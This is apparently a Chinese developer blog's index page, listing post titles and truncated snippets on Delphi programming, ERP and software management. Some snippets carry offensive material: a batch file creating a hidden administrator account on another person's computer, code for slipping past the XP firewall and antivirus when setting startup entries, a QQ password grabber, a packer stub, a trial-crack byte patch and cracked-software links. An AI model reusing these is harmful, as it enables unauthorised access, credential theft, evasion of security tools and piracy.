- 博客(178)
- 资源 (4)
- 收藏
- 关注
原创 Xcode11: 删除默认Main.storyBoard, 自定义UIWindow的变化 UIWindow 不能在AppDelegate中处理
Xcode自动新增了一个SceneDelegate文件,查找了一下官方文档WWDC2019:Optimizing App Launch 发现,iOS13中appdelegate的职责发现了改变: iOS13之前,Appdelegate的职责全权处理App生命周期和UI生命周期; iOS13之后,Appdelegate的职责是: 1、处理 App 生命周期 2、新的 Scene Session 生命...
2019-09-29 10:36:35 6368 1
转载 阻止删除文件(文件占坑)的delphi代码
代码:function EnabledDebugPrivilege(const bEnabled: Boolean): Boolean;varhToken: THandle;tp: TOKEN_PRIVILEGES;a: DWORD;constSE_DEBUG_NAME = SeDebugPrivilege;beginResult := False;if (OpenProcessT
2008-12-11 08:50:00 3100
转载 加壳原理与简单实现加壳(delphi源代码)
{*****************************************************************AddShell()源自于前一段时间有写的addsection()新增区段代码,在增加区段代码的基础上,追加了1.修改启动入口点位置2.增加一段壳头xor $50的代码function AttachStart-function AttachEnd这一段代码是先填充,再
2008-12-11 08:48:00 4082
转载 完美屏蔽 Ctrl+Alt+Del 键
完美屏蔽 Ctrl+Alt+Del 键一、前言 在Windows 9x/Me系统中,屏蔽Ctrl+Alt+Del和各种任务开关键的方法是通过下面的方法实现的:BOOL bOldState;SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, TRUE, &bOldState, 0); 但在NT平台下,此方法不再适用,即使使用钩子技术也无法拦截到这个组
2008-10-25 14:03:00 8307 1
原创 如何过XP的防火墙而不被拦截
procedure TForm1.Button1Click(Sender: TObject);var FwMgr,Profile,FwApp: variant;begin FwMgr := CreateOLEObject(HNetCfg.FwMgr); Profile := FwMgr.LocalPolicy.CurrentProfile; FwApp := CreateOLE
2008-10-24 13:18:00 3450 8
原创 windows2008下如何删除程序自身
procedure DeleteMe;var BatchFile: TextFile; BatchFileName: string; ProcessInfo: TProcessInformation; StartUpInfo: TStartupInfo;begin BatchFileName := ExtractFilePath(ParamStr(0)) + _deleteme.ba
2008-10-09 10:42:00 4133 4
原创 写程序启动项时如何过卡巴与360安全卫士等软件的方法
procedure SetPrivilege;const ADJUST_PRIV = TOKEN_QUERY or TOKEN_ADJUST_PRIVILEGES; SHTDWN_PRIV = SeBackupPrivilege; //SeBackupPrivilege 备份文件和目录。 //允许用户绕过文件和目录的权限来做备份。只有当应用程序尝试访问NTFS备份API
2008-10-09 10:35:00 4569 3
原创 Delphi中进行延时的4种方法
1、挂起,不占CPUsleep2、不挂起,占cpuprocedure Delay(msecs:integer);varFirstTickCount:longint;beginFirstTickCount:=GetTickCount;repeatApplication.ProcessMessages;until ((GetTickCount-FirstTickCount) >= Longint(m
2008-06-05 08:53:00 22743 4
原创 CodeGear RAD 2007 SP4 最新下载及破解
CodeGear RAD 2007 up4最新下载及破解官方http下载: http://altd.codegear.com/download/radstudio2007/CodeGearRADStudio2007_Dec2007.iso 官方 ftp下载: ftp://ftpd.codegear.com/download/radstudio2007/CodeGearRADStudio
2008-06-04 20:38:00 14167 7
转载 IT圈里的程序员们(3)
4 思想,无招胜有招4.1 阶段释义客户:我们公司有二十个下属单位,每个单位分别有一套自己的销售管理系统。我们想了解各个单位的销售情况,现在是每个星期由下属单位上报周报,周期太长了,不利于领导及时掌握情况。老李:如果把销售数据自动地集中到总公司这边来呢?客户:集中?有什么好处?老李:数据集中后,总公司可以实时掌握销售情况,不用等上一个星期。根据集中后的数据,您只需要打开
2008-04-26 23:54:00 2096 1
转载 IT圈里的程序员们(2)
3 设计,方法为指导3.1 阶段释义老李:老张,你负责的这个模块,要有分布式事务处理能力,还要能与客户的OA系统通信,从OA中获取客户资料的数据。老张:好的。我将用EJB来实现分布式事务处理,然后开发一个专门的接口,用来与OA通信。老张毕业五年,是项目组的开发经理,负责完成子系统的设计,并指导其他成员完成编码。老张从老李处获得关于所开发的产品的需求情况,然后进行设计和分析,
2008-04-26 23:52:00 1973 1
转载 IT圈里的程序员们(1)
1 引子都说海阔凭鱼跃,又有多少鱼能跃出大海?都说天高任鸟飞,但真正能一飞冲天的,也不过是寥寥数鹰而已;在IT圈里流浪的程序员,当青春逝去、渐至而立之年时,又有多少人黯然退出?30岁,似乎宣告了程序人生的终结。从学会写第一个Basic程序起,已过去了15年,我也曾为30岁烦恼过。近日《神雕》热播,杨过在独孤剑圣的剑冢中发现宝剑若干,见证了独孤剑圣在人生不同阶段对剑道的领悟。忽有所感,联想起
2008-04-26 23:51:00 3327 6
原创 使用Qt, KDevelop Designer开发Linux的图形界面
不知道从什么时候开始,在网页上点击文件链接或者邮件附件链接, 都会被IE以文本形式打开,就是又开了一个IE窗口,并且显示一大堆文本形式的乱码。从网上找了半天解决办法,终于找到一个。记在这里,也许对大家有用。 说明一下,我机器是Windows 2003 + sp1。 这类问题是由于文件的扩展名和内容之间的不匹配造成的,或者服务器端报告的内容类型,与文件的
2008-04-03 16:22:00 3366
转载 软件外包该如何正确定价
随着行业竞争激烈,越来越多的公司对信息化存在很大的需求,因而软件外包业务近年来始终保持了较快增长速度。从这几年的统计数据来看,软件技术服务始终以高于行业平均增长速度增长,软件外包的市场也相应地在不断地扩大。但现实中很多人却感叹软件外包难做,其中最难的就是外包的定价,这也是由于软件商品的特殊性所决定的。软件不同于其他有形的物质产品,比如电脑,由于制造电脑需要原材料,还需要加工。把这两部分的成本加
2008-03-21 15:47:00 4901
转载 软件项目该如何接?(转自速用)
软件项目的承接是软件企业一种重要的盈利方式,甚至对于很多软件企业来说,项目承接就是他们唯一的盈利手段,所以对于很多软件企业来讲,项目承接的成败,就是企业运营的成败。 但无论对于哪类软件企业来讲,项目的承接都不是轻而易举的事情,并且不同的类型,不同特点的软件企业在项目
2008-03-21 15:41:00 3788
原创 给别人的电脑创建一个删不掉的管理员
1、在自己电脑里面建立一个.txt文本文件. 2、在里面输入内容 @echo off net user xxhk 5201314 /add (注:xxhk是用户名,5201314是密码) net localgroup administrators xxhk /add (注:这个命令是将这个xxhk用户提升为超管) 3、保存该文件,后缀为admin.bat (注:文件名可自行更改,但
2008-03-06 16:21:00 10114 2
原创 Visual Studio 2008 简体中文专业版
Visual Studio 2008 简体中文专业版已经发布!90天试用版下载地址:http://www.microsoft.com/downloads/details.aspx?FamilyID=83c3a1ec-ed72-4a79-8961-25635db0192b&DisplayLang=zh-cn试用版变正式版方法,先安装试用版,然后在“添加或删除程序”里找到VS2008,点“
2008-03-06 16:03:00 2540 1
转载 利用Debug Api 获得QQ2007密码
代码:{*******************************************************}{ }{ 利用Debug Api 获得QQ2007密码 }{ 只支持QQ2007版本为7.1.576.1763
2008-03-06 16:01:00 8116 10
原创 封装delphi Hook Api
直接看代码unit uApiHook;interfaceuses SysUtils, Windows, TlHelp32;type PJmpCode = ^TJmpCode; TJmpCode = packed record JmpCode: BYTE; Address: Pointer; MovEAX: Array [0..2] of BYTE; end;type
2008-03-06 16:00:00 3282 1
转载 三五个人十来条枪 如何走出软件作坊成为开发正规军 (转贴)
从发了上一篇博文,这几天收到很多朋友的来信。大家从各个开发语言的优缺点和适用领域,一直讨论到设计模式、框架、重构、单元测试,乃至敏捷编程,最后都讨论到了软件开发过程管理,甚至都谈到了盈利模式和中国软件的悲哀。最后不了了之,都觉得改善中国内地现在的软件生产状况不可能。为什么呢?我重新把这几天大家的讨论留言翻了一遍,发现大家的软件团队都存在着这样一种普遍现象1大部分人所在的公司
2008-03-01 22:57:00 1553 3
转载 研发必须走可持续发展的道路
一个公司如果想做出品牌产品,研发必须走可持续发展的道路。走可持续发展的道路,必须加强对过程进行控制。不是单一的以结果为导向。单一满足客户当前需求。组织架构上必须做好权利,责任,利益一致等。研发部门最最要的事情是保证产品能够按计划进度,品质,成本预算完成。 如何保证进度:必须有两个前提,第一:项目实施之前要保证核心技术攻关都已经完成,如一个项目中关键技术不知道能否解决,也不知道多久能解决
2008-02-19 16:03:00 1566
转载 系统架构师职业分析
日常工作的主要内容 领导与协调整个项目中的技术活动(分析、设计和实施等);推动主要的技术决策,并最终表达为软件架构;确定和文档化系统的构架,包括系统的需求、设计、实施和部署等“视图”;确定设计元素的分组,以及这些主要分组之间的接口;为技术决策提供规则,平衡各类不同关注点,化解技术风险,并保证相关决定能被有效的传达和贯彻;理解、评价并接受系统需求;评价和确认软件架构的实现。岗位主要职责
2008-02-19 15:57:00 2006
转载 软件构架师需要什么技能?
作为项目的技术主管,构架师的技术需要非常的广泛,这比技术深度更加重要(当然构架师在特定的领域需要一定的技术深度)。软件构架师是技术主管 首先,软件构架师是技术主管,这意味着除了他要有技术上的技能外,还要有很好的领导才能。构架师的领导能力在团队中和项目质量控制中起着十分重要的作用。 在团队中,构架师是项目的技术总管,他需要有丰富的知识背景,以便作出技术上的决定。相对于构架
2008-02-19 15:53:00 1264
转载 别做完美主义者
不要等到所有的情况都完美以后,才动手去做,那样的话你可能一事无成。 在我们的周围,你会发现一些人,他们才智过人,工作能力也很不错,而且又非常勤奋,一工作起来常常什么都有可能忘了。但是,他们就是出不了什么成果,眼看着比他们在各方面都差一些的人成果都十分显著了,而他们却依然默默无闻。 寻找这类人之所以迟迟不能成功的原因,可能不是一件容易的事情,因为他们的才华虽然说不上盖世,但比起我们常人却超出
2008-02-18 09:41:00 1725 1
原创 VCLSkin 4.12 FullSource的bug修正
1、修正ComboBox列表无边框的bug将WinSubClass.pas中TComboxScrollBar.WMNCPaint函数中的注释取消。2、修正系统菜单(Sysmenu)无边框的bug将WinSkinMenu.pas中TWinSkinPopMenu.NcPaint函数中作如下修改:Dc := GetWindowDC(hwnd); //Dc := GetDCEx(hwnd, msg.W
2008-01-16 00:34:00 1951 2
原创 下雪特效
program Snow;uses Windows, Messages;const SnowNumber = 500; // 雪点数量-1type SnowNode = record Point: TPoint; // 雪点位置 Color: Integer; // 先前颜色 Speed: Integer; // 下落速率 nMove: Integer; //
2007-12-11 15:00:00 1434
原创 PowerDesigner反向SQL Server 2000数据库问题
在PowerDesigner中,对SQL Server 2000进行数据库反向(Database -> Reverse Engineer Database)时,会反向出一些名称以“_WA_Sys”开头的索引,但这些索引并不是我们做数据库设计的时加的,如何去掉这些不必要的索引呢,请按如下步骤进行:1、在PowerDesigner中点击Tools-Resources-DBMS,打开“List of D
2007-11-02 10:26:00 1737 2
原创 PowerDesiner 12 最新下载(测试可下)
PowerDesiner 12的下载地址:http://dl01.nbdown.net//Program/Sybase.PowerDesiner.v12.0.zip说明: 安装时候先选择试用15天版,不需要输入注册码就可以直接安装了,安装到最后finish的时候,不要马上点击finish,而去执行crack目录里面的patch.exe文件,一切都next就好了,patch安装好后
2007-11-02 10:11:00 2002
转载 犹太人经商25法则
转自中国妈咪蛋糕网一、犹太人经商和立业的哲学 1、*谁是贤人?从所有人身上学习的人是贤人。谁是英雄?战胜自己情欲的人是英雄。谁是富人?对自己满足的人是富人。谁是被尊重的人?尊重别人的人是被尊重的人。 2、*贤人有七德:一是不班门弄斧,二是不打断别人的话,三是不急于求成,四是提问要有针对性,五是解答要符合情理,六是谈话要有始有终,七是要立足于实际。 3、*在死之前不要自负。不能站在别人的立场上,
2007-09-24 21:34:00 2096
转载 必须知道的社会生活中十二大著名法则
爬网时偶尔看到的一篇文章,与大家分享1 马太效应 《新约马太福音》中有这样一个故事,一个国王远行前,交给3个仆人每人一锭银子,吩咐他们:“你们去做生意 ,等我回来时,再来见我。”国王回来时,第一个仆人说:“主人,你交给我们的一锭银子,我已赚了10锭。”于是国王奖励他10座城邑。第二个仆人报告说:“主人,你给我的一锭银子,我已赚了5锭。”于是国王例奖励了他5座城邑
2007-09-24 21:27:00 1857
原创 利用存儲過程進行簡繁體轉換
if exists (select * from dbo.sysobjects where id = object_id(N[dbo].[f_GB2BIG]) and xtype in (NFN, NIF, NTF)) drop function [dbo].[f_GB2BIG] GO --生成码表 if exists (select * from dbo.sysobjects
2007-09-08 16:15:00 2451
原创 FastReport 4.3 最新补丁
因工作原因要使用最新的FastReport 4.3版本,结果发现新版本的FastReport对 WideString的支持不太好,没办法就改了几个地方,主要修正如下问题:1.修改了在win9.x和winxp下中文显示不全的问题2.修改了在win9.x和winxp下中文重叠的问题3.将默认字体改成“宋体”。4.解决无法使用OnGetText事件的问题5.解决在设置字体后出现无法居中的问题下载
2007-09-05 11:08:00 2144
原创 天网防火墙的最新破解方法
前两天电脑中了马,在结束漫长的杀毒过程后,决定装个防火墙,以前用过天网的,还不错,试用版的可免费使用。不过唯一麻烦的是总有个试用的启动窗体,虽不影响使用,但实在影响心情,便用OLLDBG破解了一下,去掉了试用界面的显示。本方法对3.0.0.1009版本的有效。方法比较简单,一行字:用二进制编辑器打开PFW.exe文件,找到 E818031900 将其它改为 9090909090 即可。
2007-08-25 21:50:00 2059
转载 ERP的未来 平台化+SOA
ERP早已不再是简单的以软件技术为核心的高科技产品,它已成为现代企业管理不可或缺的手段。除了使企业流程更规范,使管理和财务更透明外,现代企业激烈的竞争环境对于ERP的标准化、可扩充性、可维护性、可交互性等提出了更高的要求。其实,ERP最核心的并不是技术,而是其中由大量咨询顾问和企业的实践者们提炼出来的管理思想。平台化企业可以通过ERP建立企业应用核心业务和开发平台,成为ERP发展的重要
2007-08-14 21:28:00 3231
转载 软件研发人员的考核
软件研发人员的考核一直是软件企业管理的难点,笔者在长期的研发管理实践与咨询实践中,总结了进行软件研发人员考核的一些基本原则,整理出来与大家共享: ◆Ø要体现公司的价值观 公司的价值观体现了公司认可什么类型的人员?要挽留哪些人?提倡做什么?对这些人员的认可可以通过具体的考核办法落实下来。比如企业鼓励在某一个业务领域内积累丰富的领域经验,鼓励在某个技术方向上进行深入钻研等,对于提倡的这些行为
2007-08-05 13:50:00 3067 1
原创 防止SQL SERVER的事件探查器跟踪软件的SQL脚本
如何防止SQL SERVER的事件探查器跟踪软件的SQL脚本,保障自己的软件不被他人分析?以下是一个停止所有SQLSERVER的跟踪器的脚本(两种方法的原理相同):第一种方法:procedure SQLCloseAllTrack;const sql = declare @TID integer + declare Trac Cursor For + SELE
2007-06-15 08:23:00 3992 1
原创 Ehlib表格区填满表格线的解决方案
表格区填满表格线的问题,公布如下:3。6版本中修改DBGridEh.pas单元的UpdateRowCount过程:procedure TCustomDBGridEh.UpdateRowCount;var BetweenRowHeight, t: Integer; OldRowCount, OccupiedHeight, VisibleDataRowCount, NewRowCount: Int
2007-05-22 09:28:00 4568 2
转载 企业如何辨别ERP是否稳定
国内ERP产品层出不穷,占据了软件市场的近半壁江山,但部分产品在质量上也存在很大隐患——无论小的还是上规模的产品,都存在同一个问题,那就是产品的稳定性。ERP产品如果不稳定将为企业带来哪些影响?企业如何辨别ERP是否稳定?笔者在此为您做一分析。 ERP不稳定的致命影响 众所周知ERP软件更新换代比较快,处在不停升级、不停打补丁的状态中,这导致软件的稳定性比较差。而新产品发布后
2007-05-18 13:41:00 2804
转载 核心流程决定ERP项目的信息化选型
不见得要选择大而全的ERP产品,小而精的解决具体核心问题的定制化产品可能会更加合适,一定要围绕企业的运作瓶颈和核心问题来进行分析选择。A公司是专门从事电动产品的专业制造公司,无论技术力量还是销售规模,在国内都是首屈一指,现有五家分公司,四个生产基地,年设计生产能力达到200万。 A公司作为行业的领先者,为了获得领先优势,准备在全公司范围内实施信息化,并且成立了信息化领导工作组,由
2007-05-18 13:39:00 1774
DELPHI XE5 正式版破解(亲测可用)
2013-09-23
FastReport 4.3 最新 2007-09-06 补丁
2007-09-04
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人